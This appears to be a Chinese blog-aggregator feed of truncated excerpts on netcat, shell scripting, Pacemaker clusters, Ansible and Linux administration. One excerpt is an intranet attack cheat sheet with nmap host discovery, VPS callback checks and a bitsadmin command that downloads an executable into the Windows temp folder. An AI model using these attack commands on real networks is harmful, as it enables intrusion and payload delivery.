shell脚本实例

nc 命令详解

折月煮酒 提交于 2020-02-28 15:04:43
英文原文: Linux Netcat command – The swiss army knife of networking netcat是网络工具中的瑞士军刀,它能通过TCP和UDP在网络中读写数据。通过与其他工具结合和重定向,你可以在脚本中以多种方式使用它。使用netcat命令所能完成的事情令人惊讶。 netcat所做的就是在两台电脑之间建立链接并返回两个数据流,在这之后所能做的事就看你的想像力了。你能建立一个服务器,传输文件,与朋友聊天,传输流媒体或者用它作为其它协议的独立客户端。 下面是一些使用netcat的例子. [A(172.31.100.7) B(172.31.100.23)] Linux netcat 命令实例: 1,端口扫描 端口扫描经常被系统管理员和黑客用来发现在一些机器上开放的端口,帮助他们识别系统中的漏洞。 $nc -z -v -n 172.31.100.7 21-25 可以运行在TCP或者UDP模式,默认是TCP,-u参数调整为udp. z 参数告诉netcat使用0 IO,连接成功后立即关闭连接, 不进行数据交换(谢谢@jxing 指点) v 参数指使用冗余选项(译者注:即详细输出) n 参数告诉netcat 不要使用DNS反向查询IP地址的域名 这个命令会打印21到25 所有开放的端口。Banner是一个文本

shell编程

Deadly 提交于 2020-02-28 06:25:49
1,shell脚本的变量认识 变量 含义 $0 当前脚本的文件名 $n 传递给脚本或函数的参数,n是一个数字,表示第几个参数。例如第一个参数是$1,第二个参数是$2 $# 表示传递给脚本或者参数的个数 $* 传递给脚本或函数的所有参数 $@ 传递给函数互脚本的所有的参数,被双引号(“ ”),与$*稍有不同 $? 上个命令的退出状态,或函数的返回值 $$ 当前shell进程id。对于shell脚本,就是这些脚本所在的进程id 注释:$*和$@的区别: $*和$@都表示传递给函数或脚本的的所有的参数,不被双引号(“ ”)包含时,都以$1,$2,$3。。。$n的形式输出所有参数,但他们被双引号(“ ”)时,$*会将所有参数作为一个整体,以“$1, $2,$3...$n”的形式输出,$@会将各个参数分开,将以“$1”,“$2”,“$3”。。。“$n”的形式输出 2,一个简单的shell脚本文件 a="雪雪" echo "$a is my favourite" 注意:在定义变量和给变量赋值的时候,变量名和=之间不能有空格,=和变量之间也不要有空格 3,逻辑控制语句 a="雪雪" echo "$a is my favourite" if [ -n "$a" ];then echo "$a long time no see" else echo "$a i miss you" fi# 语法结构#

PCS集群的一些命令总结!非常好!

亡梦爱人 提交于 2020-02-27 23:40:51
https://blog.csdn.net/hhhh2012/article/details/48313909 使用pcs shell配置corosync & pacemaker群集 Pacemaker Pacemaker,即Cluster Resource Manager(CRM),管理整个HA,客户端通过pacemaker管理监控整个集群。 CRM支持ocf和lsb两种资源类型: ocf格式的启动脚本在/usr/lib/ocf/resource.d/下面。 lsb的脚本一般在/etc/rc.d/init.d/下面。 1、常用的集群管理工具: (1)基于命令行 crm shell/pcs (2)基于图形化 pygui/hawk/lcmc/pcs 2、相关的资源文件: (1)/usr/lib/ocf/resource.d,pacemaker资源库文件位置,可安装资源包:resource-agents 获取更多ocf格式的资源。 (2)/usr/sbin/fence_***,Fencing设备的执行脚本名称,可安装资源包:fence-agents 获取更多Fencing设备资源。 3、查看使用说明: [shell]# man ocf heartbeat ## 查看OCF资源说明,man ocf_heartbeat apache [shell]# man fence ##

内网攻防经典技术备忘录

冷暖自知 提交于 2020-02-26 23:04:42
前言 很早就想专门写一篇关于内网的文章,一直没有腾出空来,万万没想到,写下这篇文章的时候,竟然是我来某实验室实习的时间段:) 信息搜集 nmap扫描实时存活的ip nmap 10.1.1.1 --open -oG scan-results; cat scan-results | grep "/open" | cut -d " " -f 2 > exposed-services-ips 常用命令 ipsping icmp连通性 nslookup www.baidu.com vps-ip dns连通性 dig @vps-ip www.baidu.com curl vps:8080 http连通性 tracert bitsadmin /transfer n http://ip/xx.exe C:\windows\temp\x.exe一种上传文件 >=2008 fuser -nv tcp 80 查看端口pid rdesktop -u username ip linux连接win远程桌面 (有可能不成功) where file win查找文件是否存在 找路径,Linux下使用命令find -name *.jsp来查找,Windows下,使用for /r c:\windows\temp\ %i in (file lsss.dmp) do @echo %i netstat -apn | grep

Shell输入/输出重定向

放肆的年华 提交于 2020-02-25 12:37:13
输出重定向 重定向一般通过在命令间插入特定的符号来实现。特别的,这些符号的语法如下所示 command1 >file1 上面这个命令执行command1然后将输出的内容存入file1。 注意任何file1内的已经存在的内容将被新内容替代。如果要将新内容添加在文件末尾,请使用>>操作符。 实例 执行下面的 who 命令,它将命令的完整的输出重定向在用户文件中(users) who >users 执行后,并没有在终端输出信息,这是因为输出已被从默认的标准输出设备(终端)重定向到指定的文件。 你可以使用 cat 命令查看文件内容 cat users h tty7 2017-08-10 11:48 (:0) 输入重定向 和输出重定向一样,Unix 命令也可以从文件获取输入,语法为 command1 <file1 这样,本来需要从键盘获取输入的命令会转移到文件读取内容 注意:输出重定向是大于号(>),输入重定向是小于号(<) 实例 接着以上实例,我们需要统计 users 文件的行数,执行以下命令 $ wc -l users 1 users wc(Word Count)命令的功能为统计指定文件中的字节数、字数、行数,并将统计结果显示输出:-l 统计行数 也可以将输入重定向到 users 文件 $ wc -l <users 1 注意:上面两个例子的结果不同:第一个例子,会输出文件名;第二个不会

shell脚本监测进程并重启

家住魔仙堡 提交于 2020-02-12 12:04:52
本人实例: #!/bin/bash ps -ef | grep elastic | grep -v grep if [ $? -ne 0 ] then echo "start process......" echo 1 > /proc/sys/vm/drop_caches cd /data/soft/elasticsearch-6.4.0/bin/ su elsearch ./elasticsearch -d else echo "runing......" fi 这是检测搜索引擎 elastic 的脚本 #!/bin/bash ps -ef | grep mysqld | grep -v grep if [ $? -ne 0 ] then echo "start process......" /etc/rc.d/init.d/mysqld start else echo "runing......" fi 这是检测mysql 进程的 脚本 来源: https://www.cnblogs.com/wujf-myblog/p/12298364.html

Linux 常用的一些操作

ぃ、小莉子 提交于 2020-02-11 19:51:20
1、查看linux中某个端口是否被占用 1> 使用lsof lsof -i:端口号 查看该端口是否被占用 2> 使用netstat netstat -antpu |grep 80 过滤端口80的使用状态 2、linux中源码包编译安装后,不受systemctrl控制,启动/关闭服务方式: 启动:/usr/local/nginx/sbin/nginx【没有报错提示,代表成功了】 关闭:/usr/local/nginx/sbin/nginx -s stop 报错:Address already in use 【把http关掉】 注意:同一个端口在使用过程中,不能同时被两个程序占用 3、正常yum安装的非源码包,受 systemctrl控制 ,可以 systemctrl控制启动/关闭 启动:systemctrl restart httpd 关闭:systemctrl stop httpd 启动:service start httpd 关闭:service stop httpd 4、Linux里面$#、 $0、$1、$2、$@、$*、$$、$?、$!、$_的含义 $#:传给脚本的变量总个数 $0:表示脚本本身的名字 $1:传给该shell脚本的第一个变量 $2:传给该shell脚本的第二个变量 $@:传给脚本的所有变量 $*:是以一个单字符串显示所有传递给脚本的变量,与位置变量不同

ansible常用模块实例

流过昼夜 提交于 2020-02-10 22:33:59
Command 模块: Command:在远程主机执行命令,默认模块可忽略-m。 Command:模块不支持变量,管道符,&,$,echo >等需要使用shell模块。 ansible all -m command -a 'systemctl restart network' 重启主机清单的所有主机的网络(以上是完整的写法)。 可以省略-m,因为它时默认的模块。 ansible all -a 'systemctl restart network' ansible web -a 'ls -l /tmp' (查看web组tmp目录下面有哪些文件) ansible all -a 'mkdir -p /data' (所有主机创建/data目录) ansible all -a 'df -hT' (查看所有主机的磁盘使用率) 查看命令的帮助:ansible-doc command 详细参数 ansible all -a 'removes=/data/test.txt rm -rf /data/test.txt' removes:如果这个文件不存在则不执行,文件存在则执行 ansible all -a 'ls -l /data/' (首先查看目录为空) Ansible all -a 'creates=/data/aa.txt touch /data/aa.txt' creates

Linux Bash语法总结

喜欢而已 提交于 2020-02-04 12:05:46
在学习Linux的过程中,无可避免的会碰到一个既让人喜欢、又令人十分头疼的神奇的东西——bash编程,也就是shell脚本。那么什么是shell脚本呢?shell是一个命令语言解释器,而shell脚本则是Linux命令的集合,按照预设的顺序依次解释执行,来完成特定的、较复杂的系统管理任务,类似于windows中的批处理文件。本篇博文主要介绍bash编程的基础语法讲解。 一、bash编程之变量 1)bash变量类别 本地变量:只对当前shelll进程有效的变量,对其他shell进程无效,包含当前shell进程的子进程。 2)变量赋值: 即向变量的存储空间保存数据,如下 [root@localhost ~]# VAR_NAME=VALUE 3)变量的引用 格式为:${VAR_NAME} " ":弱引用,里面的变量会被替换; ' ':强引用,里面的所有字符都是字面量,直接输出,所见即所得; 4)环境变量 对当前shell进程及其子shell有效,对其他的shell进程无效! 定义:VAR_NAME=VALUE 导出:export VAR_NAME 撤销变量:unset VAR_NAME 只读变量:readonly VAR_NAME 5)局部变量 在shell脚本中定义,只可以在shell脚本中使用! 6)位置变量 $1,$2...,${10} 7)特殊变量 shell对一些参数做特殊处理

shell一文入门通

北战南征 提交于 2020-01-31 09:03:54
简单来说“Shell编程就是对一堆Linux命令的逻辑化处理”。 W3Cschool 上的一篇文章是这样介绍 Shell的 hello world 学习任何一门编程语言第一件事就是输出HelloWord了!下面我会从新建文件到shell代码编写来说下Shell 编程如何输出Hello World。 (1)新建一个文件 helloworld.sh : touch helloworld.sh ,扩展名为 sh(sh代表Shell)(扩展名并不影响脚本执行,见名知意就好,如果你用 php 写 shell 脚本,扩展名就用 php 好了) (2) 使脚本具有执行权限: chmod +x helloworld.sh (3) 使用 vim 命令修改helloworld.sh文件: vim helloworld.sh (vim 文件------>进入文件----->命令模式------>按i进入编辑模式----->编辑文件 ------->按Esc进入底行模式----->输入:wq/q! (输入wq代表写入内容并退出,即保存;输入q!代表强制退出不保存。)) helloworld.sh 内容如下: #!/bin/bash #第一个shell小程序,echo 是linux中的输出命令。 echo "helloworld!" shell中 # 符号表示注释。 shell 的第一行比较特殊,一般都会以